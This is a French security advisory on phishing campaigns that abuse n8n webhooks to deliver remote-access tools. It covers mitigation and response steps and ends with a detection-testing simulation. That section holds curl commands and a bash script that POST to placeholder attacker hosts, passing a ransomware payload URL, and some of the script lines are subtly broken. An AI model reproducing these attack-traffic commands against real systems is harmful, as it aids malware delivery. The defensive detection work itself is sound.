Les Acteurs Malveillants Détournent n8n Pour Automatiser les Attaques Propulsées par l’IA

Résumé

Les acteurs malveillants exploitent la plateforme d’automatisation low-code n8n pour distribuer des charges utiles malveillantes et profiler les destinataires des emails. En intégrant des URL de webhook nuisibles dans des messages de phishing, ils peuvent livrer des fichiers exécutables ou des installateurs MSI qui déploient des outils d’accès à distance sur les systèmes des victimes. L’activité inclut également l’utilisation de pixels de suivi invisibles qui collectent des informations sur les victimes dès l’ouverture de l’email. Cette campagne souligne comment un service légitime d’automatisation de flux de travail peut être détourné pour la diffusion de logiciels malveillants sans nécessiter de voler des identifiants.

Enquête

Cisco Talos a analysé une série de campagnes de phishing observées entre octobre 2025 et mars 2026 qui utilisaient des URL de webhook n8n intégrées dans des messages électroniques. Les leurres utilisaient de faux liens OneDrive qui affichaient d’abord un message CAPTCHA avant de fournir soit un fichier .exe ou un fichier MSI. Une fois exécutées, les charges utiles installaient des versions modifiées des outils RMM de Datto ou ITarian et créaient des tâches planifiées pour maintenir la persistance. Talos a également découvert une activité de fingerprinting via des balises d’image qui appelaient des URL de webhook n8n contenant des identifiants spécifiques à la victime.

Atténuation

Les organisations devraient surveiller le trafic sortant inhabituel vers des domaines liés à n8n depuis des systèmes qui n’utilisent pas normalement de services d’automatisation et vérifier les modèles d’URL de webhook suspects. Les URL résolvant vers des sous-domaines inconnus de n8n.cloud devraient être bloquées ou exécutées dans un bac à sable avant d’autoriser l’accès des utilisateurs. Les contrôles de sécurité des emails devraient également être configurés pour détecter le contenu HTML malveillant, les faux flux CAPTCHA et les pixels de suivi cachés. Les indicateurs de compromission pertinents, y compris les URL de webhook et les valeurs de hachage des fichiers malveillants, devraient être partagés avec les plateformes de renseignement sur les menaces et les défenseurs internes.

Réponse

Les équipes de sécurité devraient alerter sur la présence d’URL de webhook n8n dans le contenu des emails ou la télémétrie réseau et isoler tout hôte impacté dès que l’activité suspecte est confirmée. Tous les outils RMM installés et les tâches planifiées associées devraient être supprimés, suivis par une analyse médico-légale pour découvrir toute persistance ou charges utiles supplémentaires. Les politiques de pare-feu et de proxy devraient être mises à jour pour restreindre l’accès aux points de terminaison n8n non autorisés. Les organisations devraient également compléter un processus complet de partage d’IOC avec les équipes internes et partenaires externes de confiance.

Exécution de simulation

Prérequis : Le contrôle pré‑vol de télémétrie et de base doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

• Récit & commandes d’attaque :

  Un attaquant achète un domaine de courte durée qui pointe vers n8n.cloud/webhook. Ils créent un flux de travail n8n malveillant qui, une fois déclenché, sert une charge utile de ransomware. L’email de phishing contient un lien vers une page de destination avec un défi CAPTCHA. La victime résout le CAPTCHA, que le JavaScript de l’attaquant transmet comme la valeur CAPTCHA=solved123 dans le corps HTTP d’une requête POST vers le webhook. Le webhook répond avec un téléchargeur PowerShell qui exécute la charge utile. Ce flux génère une requête HTTP dont l’URL contient n8n.cloud/webhook and dont le corps contient la chaîne CAPTCHA, correspondant parfaitement à la règle Sigma.

  # Étape 1 – La victime complète CAPTCHA (simulé)
  CAPTCHA_TOKEN="solved123"
  
  # Étape 2 – Fabriquer le POST malveillant qui imite l'action de la victime
  curl -X POST "https://my.malicious-n8n.cloud/webhook/malicious-workflow" 
       -H "Content-Type: application/x-www-form-urlencoded" 
       --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" 
       --data-urlencode "payload_url=https://malicious.example.com/ransomware.exe"

• Script de test de régression :

  #!/usr/bin/env bash
  set -euo pipefail
  
  # Variables – ajuster à votre environnement de test
  WEBHOOK_HOST="my.malicious-n8n.cloud"
  WEBHOOK_PATH="/webhook/malicious-workflow"
  CAPTCHA_TOKEN="solved123"
  PAYLOAD_URL="https://malicious.example.com/ransomware.exe"
  
  echo "[*] Simulation de l'abus de webhook n8n entraîné par CAPTCHA..."
  
  curl -s -o /dev/null -w "%{http_code}n" -X POST "https://${WEBHOOK_HOST}${WEBHOOK_PATH}" 
       -H "Content-Type: application/x-www-form-urlencoded" 
       --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" 
       --data-urlencode "payload_url=${PAYLOAD_URL}"
  
  echo "[+] Simulation terminée. Vérifiez la détection dans le SIEM."

• Commandes de nettoyage :

  # Si un webhook réel a été créé pour les tests, supprimez-le via l'interface ou l'API n8n.
  # Exemple d'appel API (remplacer API_KEY et WORKFLOW_ID) :
  curl -X DELETE "https://my.malicious-n8n.cloud/webhook/malicious-workflow" 
       -H "Authorization: Bearer API_KEY"
  
  # Supprimer tous les fichiers temporaires (aucun créé dans ce script)
  echo "[+] Nettoyage terminé."